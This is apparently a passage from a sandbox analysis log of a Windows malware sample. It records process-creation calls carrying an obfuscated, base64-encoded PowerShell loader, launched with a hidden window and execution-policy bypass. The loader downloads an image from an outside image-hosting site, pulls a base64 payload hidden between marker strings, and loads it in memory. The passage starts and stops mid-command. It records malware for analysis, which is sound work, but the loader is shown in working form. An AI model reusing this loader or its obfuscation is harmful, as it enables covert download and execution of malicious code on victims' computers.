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';$OWjuxd = [system.Text.encoding]::Unicode.GetString([system.Convert]::Frombase64string( $codigo.replace('CJWDZ','A') ));powershell.exe -windowstyle hidden -executionpolicy bypass -NoProfile -command $OWjuxD"
filepath_r: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
stack_pivoted: 0
creation_flags: 67634192 (CREATE_DEFAULT_ERROR_MODE|CREATE_NEW_CONSOLE|CREATE_UNICODE_ENVIRONMENT|EXTENDED_STARTUPINFO_PRESENT)
inherit_handles: 0
process_handle: 0x00000584
1 1 0

ShellExecuteExW

 show_type: 0
filepath_r: powershell
parameters: -command "$Codigo = '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';$OWjuxd = [system.Text.encoding]::Unicode.GetString([system.Convert]::Frombase64string( $codigo.replace('CJWDZ','A') ));powershell.exe -windowstyle hidden -executionpolicy bypass -NoProfile -command $OWjuxD"
filepath: powershell
1 1 0

CreateProcessInternalW

 thread_identifier: 2324
thread_handle: 0x00000450
process_identifier: 2320
current_directory: C:\Users\test22\AppData\Local\Temp
filepath:
track: 1
command_line: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -windowstyle hidden -executionpolicy bypass -NoProfile -command "(('PwCimageUrl = XQ4https://uploaddeimagens.com.br/images/004/654/536/original/new_image.jpg?1698957750XQ4;P'+'wCwebClient = Ne'+'w-Object System.Net.WebClient;PwCimageBytes = PwCwebClient.DownloadData(PwCimageUrl'+');PwCimageText = '+'[System.Text.Encod'+'ing]::UTF8.GetString(PwCimageBytes);PwCstartFlag = XQ4<<BASE64_S'+'TART>>XQ4;PwCendFlag = XQ4<<BASE64_END>>XQ4;PwCstartIndex = Pw'+'CimageText.IndexOf'+'(PwCstartFlag);PwCendIndex = PwCim'+'ageText.IndexOf(PwCendFlag);PwCstartIndex -ge '+'0 -and PwCendIndex -gt Pw'+'CstartIndex;PwCsta'+'rtIndex += PwCstartFlag.Length;PwCbase64Length '+'= PwCendI'+'ndex - 